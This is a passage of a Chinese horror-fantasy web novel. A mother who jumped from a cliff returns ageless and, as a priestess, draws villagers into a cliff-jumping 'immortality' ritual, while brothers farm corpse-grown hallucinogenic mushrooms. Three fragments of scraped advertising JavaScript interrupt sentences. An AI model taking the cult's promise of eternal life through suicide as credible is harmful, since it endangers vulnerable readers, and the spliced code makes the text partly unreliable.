年纪轻轻的一个妇道人家,气性怎么就这么大呢? 好好的日子不过,非要寻死觅活,还把那么小的儿子也给带走了。 真是好狠的心。 吉升平叹着气来到九妹家,坐下后不久,木门再次被敲响。 九妹原本缩在角落里不怎么搭理人,还对吉升平一口一个“姐夫”地喊着,被她阿姆瞪了好几次也不肯改口。 听到敲门声,九妹立刻溜达过去打开门。 一个年轻姑娘站在门外,眼神迷茫失焦,仿佛刚刚从一场长梦中醒来。 “五妹?真的是你?”吉升平“唰”地站起身,一下子撞倒了桌上摆着的那些提亲礼品。他的声音颤抖着,几乎不敢相信自己的眼睛。以为已经永远失去的人,竟然就这么俏生生地出现在他的面前。 “吉升平,我回来了,是神仙把我送回人间的。”五妹脸上露出一抹迷离的微笑。 屋内的气氛凝固了,她的阿伯阿姆还有做媒的几个大娘们全部惊恐地后退,脸上写满了恐惧,有人已经开始低声念叨驱鬼的咒语。 只有十七岁的九妹,看到五妹还活着时,眼中闪烁着喜悦的泪花,冲上前去紧紧抱住了她:“姐姐,你真的回来了,我好开心!” 小丫头的泪水沾湿了五妹的衣襟。 九妹在乎的,是消失了三年的姐姐终于平安归来,根本不会去怀疑她到底是人是鬼。 吉升平的心中五味杂陈,他不知道该如何面对这个突如其来的“奇迹”,双脚不由自主地向后退去。 甚至问都不敢问一句:“那咱们儿子哪儿去了?” 当他的意识回笼时,整个人早已翻出窗户,逃到了门外。 他的脚步没有停歇,连滚带爬,一直逃到了大山的外面,心中充满了对五妹死而复生的恐惧,以及一丝对过去的莫名愧疚。 … 夏末的阳光灿烂得有些过分,炙烤着大地。一对年纪不大的兄弟俩正顶着日头在田地里锄草,汗水跟下雨似的不断从额头滴落。 即将收工回家吃午饭时,兄弟俩忽然注意到一个人影在田地的另一头摇摇晃晃,最终“啪”地卧倒在地上。 排行老三的吉荣发停下手中的锄头,眯起眼睛看去:“那是谁?怎么突然躺下了?四弟你过去看看。” 吉荣利擦了擦额头的汗,好奇地走近一看,回头喊道:“哥,他好像昏倒了。” 吉荣发也跟着走过来,看着陷入昏迷的瘦小男人,抬手摸了摸下巴:“这家伙看起来是个外乡人,说不定身上有什么好东西。” 他的眼神中闪烁着贪婪的光芒。吉荣利倒是还犹豫了一下:“但是我们就这样……” 吉荣发立刻沉着脸打断他:“别傻了,机会难得。” 话说完,他已经伸手从吉升平的身上搜出几件银饰,又从田边找来一根草绳,将吉升平的手脚绑了起来,动作熟练而迅速。 十三四岁的小少年眼巴巴看着哥哥的动作,心中虽然有些不安,但最终也只是欲言又止。 趁着四下没人,他们合力将吉升平拖到了田边的粪坑旁。 拖拽过程中,吉升平一头磕到树桩上,痛得当场清醒过来,却发现自己被绑着,眼前是那兄弟俩冷漠的脸。 一阵前所未有的恐慌将他半边身子死死咬住不放,吉升平大声呼喊:“救命啊!有人吗?救救我!” 站在面前的青年抖了抖一双张飞眉,发出冷笑:“叫吧,这荒郊野外的,我倒是想看看谁会来救你。” 吉荣利年纪太小,被他喊得有点心惊胆战。 他不由自主地看向吉升平,低声问道:“我们这么做真的没事吗?” 吉升平急中生智,他知道如果不快点想出办法,自己可能会有生命危险。他做了个深呼吸,尽量让自己的声音听起来更加有底气一些:“等一下!我是从‘内家吉’里出来的人,我有办法能让你们发家致富。” 兄弟俩对视了一眼,吉荣发“嗤”地笑了,嘲讽道:“就你这家伙,还想骗我们?” 吉升平急忙解释:“不,不!我说的是真话。我知道一种方法,可以种出一种非常珍贵的草药,它的价值可比我身上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这些银饰要多出千倍万倍。” 那个小少年好奇地问:“什么草药?” 吉升平继续说:“是一种叫做‘白骨灵芝’的蘑菇,它生长在特别的环境里,非常稀有。如果你们放了我,我可以教你们如何种植。” 听了他的话之后,吉荣发半信半疑:“你为什么要帮我们?” 吉升平语气中多出几分诚恳:“因为我不想死在这里,而且我知道你们也是为了生活。我们可以合作,一起发财。” 兄弟俩沉默了一会儿,最终,吉荣发点了点头: “好吧,我们就信你一次。但是,如果你敢骗人,我们就打断你的手脚,把你丢进粪坑里面活活淹死!” “我绝对不会骗你们,我发誓。”吉升平战战兢兢地保证。 兄弟俩解开了吉升平身上的草绳,带着他回到了外家吉的村子里。 第二天,荒凉的山脚下,吉升平站在一片被阴影笼罩的坟地上,神情中流露出惊人的狂热。 吉荣发、吉荣利兄弟俩拿着铁铲站在他旁边,两人的眼神中都充满了好奇,还有一丝不易察觉的恐惧。 吉升平从怀中掏出一本破旧的经书,上面画着一些奇怪的符文和图案。他将经书递给吉荣发,说:“这里面记载着一种蘑菇,它生长在人类的尸体上,吸取死者的精华。” “噫!这也太恶心了!”吉荣利听到这里,喉咙一阵泛酸,几乎要转过去干呕。 吉升平点了点头,表情倏地变成一种瘆人的微笑,就像有什么东西借着他的脸在宣泄情绪: “‘白骨灵芝’能够让人精力旺盛,甚至连那种从山坡上摔下去重伤瘫痪的人,也能活蹦乱跳。但是,它也有一个可怕的副作用——吃了一口就会上瘾。” 吉荣发翻看着经书,眉头一会儿皱起一会儿松开:“你是说,一旦开始使用,就停不下来了?” “没错。”吉升平的语气变得怪异,“一旦沾染,便难以自拔。它会慢慢侵蚀你的理智,让你为了得到更多的‘白骨灵芝’而不择手段。” 吉荣利沉默了一会儿,问道:“那我们为什么要学这个?为什么要冒这么大的风险?” “你想啊,这种蘑菇谁吃了都会上瘾,这就是商机!”吉升平振臂一呼,声音中带着疯狂,“换句话说,只要把这种‘白骨灵芝’卖出去,我们就能获得无穷无尽的财富!” 吉荣发和吉荣利对视一眼,在彼此眼中看到了同样的野望: “师父,我们明白了。” 几年后,他们发展出更多人手,将“白骨灵芝”卖到了外地,赚取了数以万计的财富。 但这些金钱并没有让他们就此罢手,贪婪如同无底洞,永远填不满。 吉荣利偶然间得知,用动物尸体种植出来的蘑菇含有剧毒,这让他们更加肆无忌惮: 任何一桩谈不妥的买卖,只需要一丁点儿的“死人蘑菇”,就能解决那些棘手的人和问题。 随着他们的“买卖”越做越大,市场上逐渐开始供不应求了。 “再这样下去,可就找不到‘肥料’,没法再干下去了。”吉荣发的语气中充斥着焦虑,“咱们还能上哪儿找更多的尸体来种蘑菇卖钱?” 二十岁的吉荣利眼底闪过一丝狠戾:“那就买凶杀人。” 46. 山里神仙 五妹归来的同一天,吉升平失踪了。 “你们听说了吗?三年前从悬崖上跳下去的五妹,她竟然全须全尾地回来了!” “瞧着还跟她跳崖那时候一样,好像还变得更好看了些!” 消息像野火一样在内家吉的村子里迅速蔓延,村里人既好奇又害怕,第二天一个个的都假装路过五妹她们家,想要亲眼见证这个奇迹。 第三天的时候,老祭司宝莲死了。 她是内家吉里唯一一个拥有自己名字却又没有嫁人生子的女人。 按照当地例俗,是没有人会给宝莲立碑的。因为立了也没后代去祭扫,墓主会变成孤魂野鬼,“妨”到不小心路过这座坟的人。 最后只有五妹带着九妹她们几个年轻姑娘给老祭司收尸下葬。 老祭司吃了“死人蘑菇”,全身溃烂得不成样子,几乎看不清原来的面目。停灵不到半天就开始腐坏,把九妹她们吓得连连尖叫。 五妹,也就是慧伽,她却面色如常,好像没看到那满地乱淌的血水,也没闻到那股近乎恐怖的恶臭。 老祭司的尸骸坏得没法挪动了,她就自己动手把破碎的肢体捡起来,一点一点放到棺椁里重新拼好。 “姐姐,你不害怕吗?”九妹脸上包了一层又一层的厚棉布,才敢走到门边看她做事。 “有什么好怕的呢?祭司娘娘只是去了‘仙境’而已。” 烛火摇曳的灵堂里,慧伽头也没抬,如老祭司从前织布时那样,跪在地上拼凑出棺中的一副完整人形。 “可惜她用的方法不够洁净,以后应该就没法再回到人间了。” 慧伽把老祭司收敛好之后,族长带着人找上门来了,他那两撇花白的八字胡一抖一抖的,连耷拉成两条细缝的眼皮子都瞪得撑开了,显然是气得不轻。 “吉五妹!你好大的胆子,居然连老祖宗定下的规矩都敢不听!是要反了天呐!” 而那姑娘跪在灵堂里一张一张烧着纸钱,头戴鸦翅雕花银冠,身穿五色云纹法衣,把族长和他的话都当成了空气。 火堆上有细碎的灰烬随热气升起,盘旋着飞到灵堂上空。在无人察觉的时候,它们散成更微小的烟气,其中混入了无数孢子粉末,悄然侵入了众人的肺腑之中。 等到她转过头时,屋檐上漏下最后一缕阳光,正好洒在那张素白的脸上,给她的面容轮廓镀上了一层金色的光晕,神秘又庄严。 族长他们莫名被唬住了。慧伽一起身,他们竟不由自主地纷纷后退。 她脸上的表情很淡,声音低而清晰,缓缓说道:“我是被神仙选中,并且得到了永生的人。从现在开始,我就是新的祭司‘慧伽’。” 许多偷偷围在灵堂外的村民开始交头接耳,议论纷纷。有的人眼中隐约闪烁着希望的光芒,有的人则皱起了眉头,对慧伽的话半信半疑。 一个年长的村民拄着拐杖颤巍巍走上前来,用他那把沙哑如枯枝碎裂的声音问道:“慧伽,你……你真的长生不老了吗?这怎么可能啊?” “这就是神仙的恩赐,他给了我永恒的生命,所以我才能回来引导你们。”慧伽微微一笑,眼神平静如两汪深潭,“只要你们按照‘俱生仪式’来做,从悬崖上跳下去,就可以像我一样得到神仙的眷顾,得到永生。” 她说出的这番话就像一瓢水泼进了烧得滚烫的油锅里,灵堂里外顿时哗然。 被无视了很久的族长终于气得直跳脚:“吉五妹!你少在这里妖言惑众,现在立刻把宝莲的牌位撤掉!她无儿无女,不能受人香火供奉!” 往日里,大家对这种坏了规矩的事情多多少少会有点不满,但今天所有人只关心一件事情,那就是慧伽所说的——“永生”。 有人发问:“这个‘俱生仪式’到底是什么?我们为什么要从悬崖上跳下去?” 慧伽很有耐心地解释道:“俱生仪式是一种神圣的祭祀,能够证明我们对神仙的虔诚。从悬崖上跳下去时,就是在向他展示我们的决心和信仰。” 又有人质疑:“可是从悬崖上跳下去,那不就是自杀吗?” 慧伽摇了摇头,她的声音依然平静,令人不由自主地产生信服之心: “不,这不是自杀。俱生法王会在悬崖下面迎接我们,他会带领我们进入一个没有痛苦、没有疾病的仙境,那里吃穿不愁,只有享不完的福,再也不用为了生活奔波劳累。” 别的不说,光是“吃穿不愁”这四个字已经足够让内家吉这些大半辈子都在吃苦挨饿的村民馋得眼冒绿光。 “那个仙境里,是不是能每天都吃到大鱼大肉?”黑瘦干瘪的三婶忍不住咽了一下口水,她背上才两岁的小丫却嘬着手指头,连什么是“大鱼大肉”都不知道。 “我们大家去了以后,就不用再啃薯头了?” 慧伽定定地直视着她,微笑着说道:“你心里想要什么,仙境里就有什么。” 从这一天开始,内家吉里每个月都有很多人跳下悬崖,想要通过“俱生仪式”去到仙境,远离这个每天起早贪黑地劳作却还要挨饿受苦的人间。 但也不是每个人都能获得参加仪式的机会,他们都要经过慧伽这位新任祭司的考验。 她每天呆在老祭司宝莲从前居住的那座小木屋里,为每一个想要去仙境的人抽签占卜。只有那些抽到牝签的才能成为神仙选中的新信徒,得到庇护。 反之,抽到牡签的人,就是与尘俗缘分未尽,跳了崖也进不去仙境。 所有抽签的人当中,第一个抽到牝签的不是别人,正是九妹。 她一身盛装站在悬崖边,双手紧紧握着那支竹签,心里非常害怕,连声音都在颤抖:“姐姐,我真的能去仙境吗?” “你一定要心无杂念,九妹。” 原本比她大了两三岁的慧伽,依然只穿着古娞吉的祭司服,看起来却比内家吉里所有姑娘都要更加年轻貌美,整个人艳光四射,就好像传说中的神女降临了人间。 “俱生法王在等着你,他会赐予你永恒的生命。”月色如水,她的声音在风中回荡,“就像我一样。” … 外家吉的坟地被人偷偷翻了个遍,无论新旧,所有尸体全部不翼而飞。 很离奇的是,这个事并没有引起任何不满,甚至过了几年后,几乎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 所有外家吉的人都加入了吉荣发兄弟开办的“公司”当中,到处挖坟找尸体来种白骨灵芝。 因为白骨灵芝可以做成致幻药“长生烟”,卖到洪沙瓦底,碗口大的一朵就能卖十几万。 而一具尸体又能种出十几朵蘑菇,越是新鲜的,就能长得越快越好。 这跟天上掉馅饼有什么区别? 起初很多人不敢相信,直到一笔又一笔的分红“哗啦啦”地拿到手,才忍不住抬手给自己一巴掌——“啪”,真疼! 是真的,都是真的。 大家不是在做梦,更不是在集体发疯。 只不过这些钱来得太容易,他们一个个的就开始醉生梦死,吃喝嫖赌都算轻的,更有不少人开始吸“长生烟”,每天躺在床上吞云吐雾,动也不动。 再后来,每个使用了过量“长生烟”的人都沉浸在美梦中,再也没醒过来。一夕之间,他们的尸体上都长出了巨大无比的菌丛,菌子散发着淡淡的蓝色荧光,远远看去就像一簇鬼火。 吉荣发兄弟俩可不会在乎那些人变成什么死样,他们只烦恼着上哪儿找更多尸体来种更多蘑菇。 吉荣利甚至还想着“废物利用”,他找了几个死于长生烟的人用来试验,结果那些鬼火般的菌丛又跟白骨灵芝、死人蘑菇都不太一样,它们的效果非常随机: 就算是同一朵菌子,上一秒能活死人肉白骨,下一秒就能把活人毒死变成一堆白骨。 至于吉升平,自从那本不知从哪里来的古怪经书到了他徒弟们手里之后,他自己就渐渐没了当初的那种狂热野心。 随着日子一天天、一年年地过去,吉升平越来越想念大山里的内家吉。可他怎么也想不起来自己到底是怎么出的山,就只能每天到处瞎转悠,希望能找到回去的路。 吉荣发娶媳妇的时候,吉升平在婚宴上喝多了,又哭又笑的,嘴里一会儿嚷嚷着什么“我儿子要是还活着,今年也该有十三岁了!” 一会儿又开始摔盆摔碗,咬牙切齿地说着“我那个山里的媳妇,从悬崖上跳下去居然没死!过了三年又好端端地回来了!” 所有人都当他是在说醉话,只有吉荣利对他的胡言乱语忽然感兴趣:“师父,师母平安无事,那你不应该高兴才对嘛,怎么生起气来了?” 吉升平醉醺醺瞥了他一眼,冷笑:“要是她没回来,我早就娶了她小妹,现在都不知道生几个儿子了!” “什么意思啊?”吉荣利扶了一下眼镜,轻声问道。 “她说,”瘦小的中年人脸颊抽搐着,露出一种活见鬼般的恐惧神色,“是神仙把她送回来的。” 吉荣利顿时笑得有几分玩味:“这个世界上,有神仙?” “我不知道,我不知道。”吉升平瘫倒在地上,哭得眼泪鼻涕糊了一脸,“她回来了,跟三年前一模一样,但是我的儿子没了,我儿子没了。” 吉荣利站起身,冷冷地俯视着自己的“恩师”。他相信,吉升平的话一定是真的,就像当年他们兄弟俩相信他说的,种蘑菇能让他们发家致富一样。 “内家吉?我倒要看看,山里是不是真的有神仙。” 47. 肉身囚笼 九妹跳崖的第二天,内家吉陷入了一种诡异的沉寂中,原本对“长生不老”和“吃穿不愁”非常向往的村民们暂时退缩了。 慧伽坐在桌边,屋内的空气中弥漫着松茸炖鸡汤的香气。这股味道本该让人食指大动,此刻却只让她感到窒息。 手中的汤碗精致而古朴,外沿雕刻着繁复的米囊花与山丝苗叶图案。从前,老祭司宝莲经常用这个碗给她盛汤,儿时的她很难尝到这种美味,每次都是非常贪婪地一口气就喝个精光。 可是现在,这碗汤竟成了慧伽无法承受的负担。 她轻轻地抿了一口,很快就将汤碗放回木桌上。汤面微微荡漾,反射着油灯的光。 那一小口汤才刚刚滑落食道,她的身体开始不受控制地颤抖—— 强烈的恶心感涌上喉头。 慧伽捂着嘴冲向角落的木桶,但除了干呕,什么也吐不出来。 她的胃里分明没有吃进去多少东西,却感到异常的饱胀和痛苦。就像被人往里面塞了一个纸团,如今逐渐泡发,俨然已变成了足月胎儿般的大小。 这与她多年前怀孕生子时的感受非常相似。区别只在于,当初长达十个月的缓慢折磨,被缩短成了一口松茸鸡汤落进肚子里的时间。 慧伽跪倒在地面上,缓缓将身体蜷缩起来。 无法再进食、排泄,也不再需要睡眠。 这就是长生不老。 她用还未满月的儿子换来了永恒的青春,同时也换回了一场光怪陆离的虚无。 “恭迎法王——福禄俱生——” 记忆如同洪水般泛滥,每一代大祭司的喜怒哀乐、爱恨情仇都涌入慧伽的脑海。 她看到了宝莲,又好像看到的是她自己。 原来,年轻时的祭司娘娘也曾憧憬着,能够嫁给一个如意郎君。 可她遇到的却是一个比吉升平更加不堪的男人。 那男人好几年前就已经娶妻生子,但他原来的媳妇却撇下儿子,头也不回地走了。才二十岁出头的宝莲,刚嫁过去就得给个混世魔王当后妈。 那个男孩的性格跟他亲爹一样冷硬,小小年纪就满嘴谎话。 邻居家五岁的小娃娃问了他一句:“你是不是有新阿姆了?” 他什么也不说,抬手就给了那小孩一巴掌,打得人家脸朝下跌在台阶上,乳牙都磕掉了。 邻居上门兴师问罪,男人出门干活去了,只剩宝莲在家,不得不点头哈腰,给别人连连赔礼道歉。 那个男孩把自己反锁在房间里,不管宝莲好说歹说,他就是不开门,也不出来吃饭。 等到他爸晚上回家,立刻哭着跑出去,说宝莲虐待他,一整天都不给饭吃。 男人也不管三七二十一,抓起宝莲的长辫子,直接就把她往墙上摔。 宝莲当场就被撞得昏了过去,满脸都是磕出来的血。 那一抹鲜红如此刺眼,却又如此熟悉。 “这就是我们的宿命吗?”慧伽低声呢喃,双眼满是泪水。 回过神来,她听到父母在木屋外面的怒骂声,每个字都像刀子一样扎在她的心头。 “五妹!你这个杀人凶手!你害死了你自己的亲妹妹!”阿伯(父亲)的声音粗粝嘶哑,因为他习惯一边抽着旱烟,一边扯着嗓子斥骂家里人。 慧伽缓缓爬起来,咬着牙,艰难地走到门边,推开了那扇吱呀作响的木门。 屋外吹过一阵山风,凉爽而清新,但她的心却像是被寒冰冻结了一样。 她站在台阶上俯视着父母,面色平静。 阿伯恶狠狠瞪着慧伽,像看见什么仇人一样,眼神中除了愤怒,就只有绝望。 “我没有害死九妹,她只是去了仙境。”慧伽解释道。 阿姆看着她,脸上的表情充满了恐惧与不解:“你到底是谁!还是我的女儿吗?” 慧伽没有回答,她只是默默地从腰间抽出一把锋利的短刀。 刀锋映照着月色,寒光闪动,她毫不犹豫地划过自己的手腕。 慧伽抬起手,缓步走下阶梯,将那道深可见骨的狰狞伤口展示给他们看,鲜血淋漓直往下滴落。 但不出几秒,伤口的血就止住了,就连疤痕也在她父母的惊恐目光中迅速消失。 “这就是仙境赐予我的‘神迹’。” “不可能,这怎么可能?”慧伽的阿姆下意识后退,连声音都在不住颤抖。 阿伯挡在她阿姆面前,阻止长女靠近,大吼道:“滚开!你这个怪物!” 他们转过身,腿脚发软,跌跌撞撞地跑走了。 慧伽看着那两个头发花白的佝偻背影,心中充满了复杂的情绪,整个躯体时冷时热,渐渐失去了“活着”的感觉。 等到第四十七场“俱生仪式”结束的时候,吉荣发兄弟俩也正好带队找到了山崖下的那个深谷。 谷底满是盛装打扮的尸骸。 大部分早已变成朽骨,一些正在腐烂发臭,只有一具竟还残留着微微的温热。 “哟,这里简直就是纯天然的肥料产地啊。” 吉荣发哈哈大笑,声音中透露出一种残忍的兴奋,仿佛已经看到了这些无知村民的悲剧成为他们财富增长的催化剂。 “没错,天上掉的就是我们的钱。”吉荣利微笑着点了点头,鼻梁上的镜片闪着冷光,“如果我没猜错,这个地方应该是传说中的娞吉遗址。” “管它是什么地方,赶紧安排人进来拿肥料才是正经事!”吉荣发摩拳擦掌,恨不得立刻把谷底全部搬空。 吉荣利还是对吉升平口中所说的“神仙”非常好奇:“我带人上去看看,说不定能找到师父的老家。” “行,那咱们就兵分两路。”吉荣发一口答应了。 吉升平心里却突突直跳,不知道是什么原因,突然产生了一种很不好的预感。 他只能安慰自己:一定是被山崖下面那满坑满谷的尸骸吓到了。 内家吉村民的身体在崖底破碎,而外家吉的人则马不停蹄地收集了这些尸体,一车一车往外运送。 祭司慧伽——曾经天真善良的五妹,她以为自己在引导人们进入仙境,却不知道自己正亲手将他们推向深渊。 她的眼中闪烁着对神明的虔诚,双手却沾满了信徒的鲜血。 慧伽的阿伯和阿姆似乎接受了现实。 他们不再对着她大吼大叫,也愿意收下她偶尔送回家的一些珍贵礼品。 有一天,慧伽再次去探望他们,走到门外,却听到几个堂兄弟正在跟她阿伯喝酒聊天。 也许阿伯已经喝醉了,他大着舌头,说:“等,等那个怪物下次来的时候,你们就,就一起上!把她抓起来,先放血,然后浇开水……” 怪物? “你这个怪物!” 当初的那一声怒吼再次浮现在慧伽耳边。 “你们所谈论的,杀猪宰羊般的手法——是为了对付我吗?”她低着头,浑噩地想着。 直到阿姆的声音也从一墙之隔传出来,忿忿不平地说着:“这长生不老的光,谁不想沾一沾?她是我生出来的,凭什么一口都不让我吃!” 慧伽转身往自己住的小木屋走去,脑子里只剩下一个声音在盘旋:“原来,他们真的打算把你杀了吃肉啊。” … 深山里的气候多变,时而阳光明媚,时而雾气弥漫。吉升平和吉荣利带着几个手下一边砍树开路,一边往上爬,所有人的衣服都被汗水浸透了。 日落时分,他们终于爬到了山崖上面。 穿过一片丛林,吉荣利拨开面前的繁盛枝叶,眼中闪过惊艳,但很快被眼前的景象所震憾。 辽阔天域之下,群山起伏如巨兽脊背。 近处的空地,一个年轻女子站在一片被砍伐的树桩之间。 那些树桩参差不齐,如同人类给大自然造成的许多伤口。 夕阳余晖倾洒在荒芜的土地上,万物披上了一层迷离耀眼的金纱衣。 那女子静静伫立在这片金色背景当中,头顶的银冠熠熠生辉,身上半旧的五色 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 法衣垂及地面。她眺望着天边,眼神深邃,仿佛能看透时间的长河。 周围一些被砍伐的树木还残留着新鲜的切口,木屑散落一地,散发出淡淡的木香。偶尔有几只鸟儿从树梢飞过,它们的鸣叫声飘荡在寂静的山林中,连回音都锐利得刺耳。 尽管周围的环境如此荒凉,但那个姑娘脸上却没有一丝惊慌或不安。她站在那里,就像是这片山林的主人,孤独地守望着这块古老的土地。 吉荣利轻声问道:“你是谁?为什么会在这里?” 她没有回答,只是静静地站在那里,仿佛在等待着什么。 一个瘦小的中年男人气喘吁吁地钻出树丛。 “你!你怎么还活着!”吉升平的目光最终定格在那个有些陌生的身影上—— 经过四千七百次日升月落,她的面容依旧如当年那般莹润美丽,时光在她身上停滞了整整十三年。 吉升平脸上早已有了刀刻般的皱纹,心中不断涌起嫉恨的情绪。 眼前的那个女人,却好像从未经历过任何悲剧般,至今保持着十七八岁的青春面貌。 “师父,她到底是谁?”吉荣利再次问道,目光中所蕴含的却不仅仅只是好奇,一瞬也没有从慧伽身上移开。 吉升平深吸了一口气,试图平复心中的波澜。 “她叫五妹,是你们的师母。” 吉荣利的眼中闪过一丝惊讶:“可是师父,她看起来怎么这么年轻,怎么回事?” 徒弟的话再次刺痛了吉升平那颗脆弱的心,他脸色阴沉地啐了一口:“鬼才知道!她当年带着我儿子跳下了悬崖,后来我的儿子不知道哪儿去了,她自己却被神仙送了回来。” 这句话如同一颗重.磅.炸.弹.在吉荣利心中炸开。 就在他愣住的这一刻,吉升平突然开枪打中了慧伽的腹部。鲜血染红她的衣袍,她却像没事人似的,晃晃悠悠地又站了起来。 吉升平万分惊恐地后退,手脚发抖,声音也发颤:“你,你不是人!你是怪物!” “我是被神仙选中的祭司,慧伽。”她脸上露出一抹微笑,对吉荣利他们说,“你们想不想像我一样,得到俱生法王的眷顾,永远年轻,拥有无尽的生命?” 吉荣利的眼睛瞬间亮了起来,他立即问道:“真的可以吗?” 慧伽点了点头:“当然,只要你们愿意跟随我。” 除了吉升平以外,在场所有人的呼吸都变得急促起来,仿佛已经能够感受到长生不老带来的无尽欢愉。 吉升平面色慌张地看着他们,一股前所未有的巨大恐惧将他整个人牢牢捏住。 “你们难道忘记山崖下面捡到的那些尸体了吗?”吉升平大声呼喊,几乎嘶哑破音,试图唤醒徒弟们的理智,“这女人是个怪物,是个骗子!她绝不可能那么大方,让你们跟她一样得到永生!” “你说这些有什么用?能让我们永远年轻,让我们长生不老吗?”吉荣利冷笑一声,打断了师父的话。 “慧伽,我相信你。你需要我们做什么?我都听你的。” 美丽的祭司注视着吉荣利,嘴角牵起一点微小弧度,声音如同春风拂过湖面,轻柔而充满诱惑:“只需要听从我的指引,一切都会如你所愿。” 她的视线从吉荣利脸上移开,缓缓看向她的前夫——吉升平。 “好,我明白了。”吉荣利一把夺过吉升平手中的枪,毫不犹豫地对准了他的心脏。 “砰”的一声。 只来得及转过身的吉升平缓缓瘫倒在地上,鲜血从他的嘴角和伤口流出,迅速凝固的眼神中充满了不可置信。 “跟我走吧,慧伽。”吉荣利朝她走过去,伸出了手,声音带着一丝连他自己都未曾察觉的温柔。 慧伽看着他,眼神又恢复了平静,近乎漠然:“其实吉升平没有说错,我只是一个不老不死的怪物而已。” “不是这样的,”吉荣利摇了摇头,很有耐心地对她微笑着,“慧伽,你不是怪物,只是一个被困在时间里的人。” 48. 蟾蜍倒立 蒋济宁和他的两个学生很不幸沦为了外家吉最盛大的一次祭祀的牺牲品。 不出意外的话,那本该是最后一次“俱生仪式”。 以祭司慧伽为首的外家吉村民们所召唤的俱生法王,即2号噩梦之主别西卜的真身。祂一旦降临,整个副本世界里所有生命体都将变成祂的食物,被吞噬殆尽。 问题在于,意外出现了。 而且有很多个。 比如最麻烦的就是,别西卜很明显地感觉到,自己似乎丢失了能够起到锚点作用的真正“祭品”:2号玩家王稻美。 她的踪迹时隐时现,身边还紧跟着一团熊熊燃烧的人形火焰。 而在此之前,祂更是早已丢失了作为容器的一只小人类。 那个名为“松盛”的孩子。 按照2号副本世界原本的剧情线发展,他在降世后满月之时将“噬母弑父”,释放那些被囚困于法阵中长达五百年的夜叉们,然后将娞吉族的后人全部撕碎吃掉。 此时此刻,2号噩梦之主陷入了一阵呆滞与长久沉默——祂想起,那团人形火焰说她可以应允“一个公平、体面的对战方式”。 【欺骗!】 【狡猾!】 【可恶!】 时而清晰时而模糊的嗡嗡苍蝇声在“岭南酒家”的豪华包厢里响起。 王稻美原本长在自己位置上,全程小心翼翼地大吃大喝,听到声音,当即“唰”地抬起头左顾右盼,根本没发现半只虫影。 “难道是我幻听了?”她的脑瓜子里浮起无数个问号,如苍蝇般乱飞,挥之不去。 “松盛,又是谁?” 刀妹很快就得到了第二个问题的答案。 吃完午饭之后,她一出门就开始发饭晕,昏昏沉沉地跟着父母坐上车,在返回新唐南方精神病院的半路上直接跌入了梦乡。 再一睁眼,就看见一头青面獠牙的妖怪站在自己面前,少说也有两米高! 更让刀妹吓得肝胆俱裂的是,那头巨妖正朝着一个飘浮在半空中的红裙少女伸出利爪,看起来下一秒就要把她塞进嘴里吃掉了! 刀妹脑子里刹那间一片空白。 等到恢复意识的时候,她发现自己已经尖叫着冲上前去了:“啊啊啊啊啊!起开!你个妖怪!” 妖怪缓缓回头:“我不……” 王稻美同学一个助跑起跳,一巴掌抡出个标准半圆,往它脸上扇去。 “啪!” “嘭!” 那妖怪毫无悬念地被拍飞了。 它撞在附近的某棵大树上,直接将一米宽的树身拦腰撞断。而刀妹的爪子也很迅速地浮起一片红肿,显然是用力过猛。 “好怪哦,做梦还搞得这么真实。”她下意识甩了甩不停颤抖的右手,忍不住皱眉嘀咕,“看来我实在是太相信科学了。” 刀妹一边叹气,一边抬起头。 那个浮在半空的少女一袭红裙,长发上簪着一朵妖异艳丽的米囊花。 她缓缓睁开眼,神情竟充满了愤怒与怨毒:“是……你……” “不是我!”刀妹疯狂摇头,坚决否认,同时火速将手藏在背后。 虽然她暂时还不知道眼前的吉兰馨是人是鬼,更不知道吉兰馨说的“是”什么。 但重点在于,无论这个妹妹是人是鬼,都不能像刚才打妖怪一样一巴掌拍飞。毕竟以刀妹的怪力而言,是鬼的话拍不到,如果是人……那估计会被当场拍成鬼。 真是好一个进退两难。 这时候,边上忽然传来一阵抽抽噎噎的哭声。 “呜呜,我……我不是!”刚才被打飞的巨妖只短暂地晕了一下,现在正坐在原地,抱着那棵只剩一半的大树,哭得非常凄惨。 “我不是妖怪,我是松盛。” “你打我!我要告诉我爸爸!” 王稻美同学一整个目瞪狗呆,当场变成了名画《呐喊》—— 两米高的松盛,带着哭腔一开口,居然是非常清脆的少年音,听起来还不到十五岁。 “对不起!我不是……”刀妹猛一鞠躬,说到一半又卡住。 好吧,她刚刚好像确实是故意的。 只好立刻改口:“刚才是个误会,我以为你要伤害这个,呃,吉兰馨?” 后者眨了眨眼,忽然从半空中掉下来。 松盛顾不上哭天抹泪了,立刻“砰砰砰”地跑过来,伸手接住她。 “妈妈,你别怕!松盛保护你!” 年仅十六岁的吉兰馨:“……” 王稻美:“……” 天可怜见的,他居然还是个从小就失去妈妈的单亲家庭儿童。 旧的混乱还未告一段落,新的混乱又从天而降。 刀光剑影落下之前,暖风与云雾先一步同时抵达,将地面上的三只全部托举起来,好似在半空中蒸桑拿。 一红一黑两位混乱源头打得难舍难分。 漆黑羽毛漫天飞舞,其中还夹杂着不少星星点点的闪耀金光,场景实则可以称得上有几分华丽盛美。 但只要仔细观察就不难发现,连黑羽和金光也在彼此绞杀撕咬,战况之激烈毫不逊色于鸦九剑与斩.马.刀。 岑小哉一击不成,借力回身俯冲,双手握刀,在空中对着路其的头顶劈斩下去。后者迅速举剑格挡,整个人被她推得连连后退。 地面腾起滚滚尘烟,这场厮杀最终休止于令人胆战心惊的一声“锵”。 尘烟、飞羽和流光缓慢散尽,路其仰躺在地上,经此一战,他背后巨大的双翼更加残破不堪,面色和语气却同样平静: “师妹,收一收你的口水,别滴到我脸上了。” 岑小哉双膝分跪在他腰侧,手中长刀斜压着对方颈边,被他用剑身险之又险地拦住,却还在颤悠悠地一点一点往下轧。 她脸上依旧是那个狰狞如恶鬼的笑容:“师兄,你又输了。” 跟女巫龇牙咧嘴的表情比起来,松盛的模样都能称为“憨态可掬”了。王稻美只看了她一眼就迅速转移视线,生怕自己以后会因此做噩梦。 于是,王稻美同学这一眼正好瞥到了美貌动人的冒牌恶魔,忍不住在空中捧脸感慨道:“这个哥哥我曾见过的……” 